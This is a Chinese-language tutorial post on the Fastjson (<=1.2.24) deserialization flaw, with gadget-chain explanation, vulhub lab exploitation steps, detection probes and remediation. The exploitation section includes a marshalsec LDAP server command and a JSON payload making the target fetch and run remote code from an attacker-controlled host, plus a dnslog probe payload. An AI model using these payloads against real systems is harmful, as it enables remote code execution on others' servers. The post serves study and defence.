Fastjson反序列化漏洞
目錄- Fastjson反序列化漏洞
- 一、Fastjson介紹
- 1、什么是fastjson?
- 2、fastjson的優點
- 二、影響范圍:
- 三、漏洞原理
- 四、漏洞利用
- 五、漏洞發現
- 六、漏洞修復
- 一、Fastjson介紹
一、Fastjson介紹
1、什么是fastjson?
fastjson是阿里巴巴的開源JSON決議庫,它可以決議JSON格式的字串,支持將JavaBean序列化為JSON字串,也可以從JSON字串反序列化到JavaBean,
2、fastjson的優點
- 速度快
- 使用廣泛
- 測驗完備
- 使用簡單
二、影響范圍:
fastjson <= 1.2.24
三、漏洞原理
fastjson在決議json的程序中,支持使用autoType來實體化某一個具體的類,并呼叫該類的set/get方法來訪問屬性,通過查找代碼中相關的方法,即可構造出一些惡意利用鏈,
1、JdbcRowSetlmpl類反序列化,呼叫JdbcRowSetlmpl類的setAutoCommit()方法
2、setAutoCommit()呼叫connect()
3、connect()呼叫lookup()連接到LDAP/RMI服務器
4、下載惡意代碼到本地,執行,攻擊發生
個人理解(不一定正確):
? fastjson在反序列化json字符時,可以通過autoType來指定反序列化的類,并呼叫相關方法的set方法(這里呼叫了dataSourceName和autoCommit方法,反序列化后自動會呼叫setdataSourceName和setautoCommit方法并把引數傳入),而setautoCommit方法中呼叫了connect方法,connect方法中呼叫了lookup方法,可以通過JNDI去訪問LDAP、RMI等服務,又因為ldap存在命名參考,如果不存在指定檔案,就會去指定的url下載到本地,如果下載的.class檔案包含無參建構式和靜態代碼塊就會被自動執行,從而造成任意代碼執行,
? 感覺和log4j JNDI注入漏洞極其相似,都是因為lookup方法沒有進行限制導致的漏洞,但前期利用的方式缺不同,fastjson是通過autoType來反序列化JdbcRowSetlmpl類,通過setautoCommit方法呼叫到lookup方法,而log4j是因為日志呼叫方法中呼叫了lookup方法,
四、漏洞利用
1、先開啟vulhub中fastjson靶機
2、開啟獲取資源的http服務器
3、把惡意的.java檔案編譯后的.class檔案放到http服務器上(需要用jdk1.8版本)
4、開啟RMI/LDAP服務(本機的9999埠)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.1/#TouchFile" 9999
5、bp發送payload
POST / HTTP/1.1
Host: 192.168.142.133:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 166
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.142.1:9999/File",
"autoCommit":true
}
}
五、漏洞發現
1、找到發送json序列化資料的介面
2、判斷是否使用fastjson
(1)非法格式報錯
{"x":"
(2)使用dnslog探測
{"x":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.com"}}
(3)Burpsuit插件
六、漏洞修復
1、升級JDK
JDK7u21之后:
java.rmi.server.useCodebaseOnly的默認值被設定為True,當該值為true時,將禁用自動加載遠程類檔案,僅從本地加載檔案,
JDK8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase選項,默認為false,禁止RMI和CORBA使用遠程codebase的選項,因此RMI和CORBA在以上的JDK版本無法觸發該漏洞,但依然可以用LDAP協議來進行JNDI注入攻擊,
JDK8u191之后:
com.sun.jndi.ldap.object.trustURLCodebase選項,默認為false,禁止LDAP協議使用遠程codebase選項,把LDAP協議攻擊途徑也禁用了,
2、升級Fastjson
fastjson.parser.safeMode=true
3、使用安全產品過濾非法內容
4、更換其他序列化工具
Jackson/Gson
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/551390.html
標籤:其他
上一篇:Mac M1(arm 系列芯片)如何安裝 Chromium | Puppeteer
下一篇:返回列表
